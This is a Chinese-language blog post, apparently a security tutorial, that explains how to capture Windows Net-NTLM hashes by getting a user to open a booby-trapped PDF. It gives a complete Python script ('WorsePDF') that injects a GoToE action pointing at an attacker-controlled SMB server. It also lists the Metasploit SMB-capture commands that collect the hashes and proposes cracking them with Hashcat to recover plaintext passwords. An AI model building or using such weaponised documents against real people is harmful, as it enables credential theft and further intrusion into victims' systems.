利用PDF獲取NTLMhash
阿新 • • 發佈:2020-08-19
簡介:
當用戶使用PDF閱讀器開啟一份惡意的PDF文件,該PDF會向遠端SMB伺服器發出請求,如果該遠端SMB伺服器對資料包進行抓取,就能夠獲得使用者Windows系統的Net NTLM Hash,通過使用Hashcat暴力破解還原就有可能獲得使用者系統的明文密碼。
原理:
在 PDF 規範允許為 GoTobe 和 GoToR 條目來載入遠端資料,正是利用這一特效能夠幫我們請求遠端惡意 smb 伺服器,以此達到截獲目標系統使用者密碼 hash 的目的。
具體思路:
構造一份特殊的PDF文件,請求SMB伺服器的一份檔案 在SMB伺服器上抓包 使用者使用PDF閱讀器開啟PDF文件時,Windows系統將當前使用者的Net NTLM Hash傳送到SMB伺服器 SMB伺服器提取出Net NTLM Hash,使用Hashcat進行破解 還原出使用者的明文密碼 根據使用者的明文密碼嘗試進一步利用
使用如下指令碼進行構造惡意的PDF檔案:
import sys def AddPayload(Data,ip): Payload = '/AA <</O <</F (\\\\\\\\' + ip + '\\\\test)/D [ 0 /Fit]/S /GoToE>>>>' index1 = Data.find('/Parent') + 13 # print "%x" % index1 Newdata = Data[0:index1] + Payload + Data[index1:] return Newdata if __name__ == "__main__": print "WorsePDF - Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines." if len(sys.argv)!=3: print ('Usage:') print (' WorsePDF.py <normal PDF file Path> <ServerIP>') sys.exit(0) print "[*]NormalPDF: %s" % sys.argv[1] print "[*]ServerIP: %s" % sys.argv[2] file_object = open(sys.argv[1],'rb') try: all_the_text = file_object.read( ) finally: file_object.close() Newdata = AddPayload(all_the_text,sys.argv[2]) MaliciousPath = sys.argv[1] + '.malicious.pdf' print "[+]MaliciousPDF: %s" % MaliciousPath file_object2 = open(MaliciousPath, 'wb') file_object2.write(Newdata) file_object2.close() print "[*]All Done"
構造檔案如下,這裡ip是msf的ip:
msf接收發過來的ntlm認證資料:
msf5 > use auxiliary/server/capture/smb
msf5 auxiliary(server/capture/smb) > set johnpwfile pdf
msf5 auxiliary(server/capture/smb) > run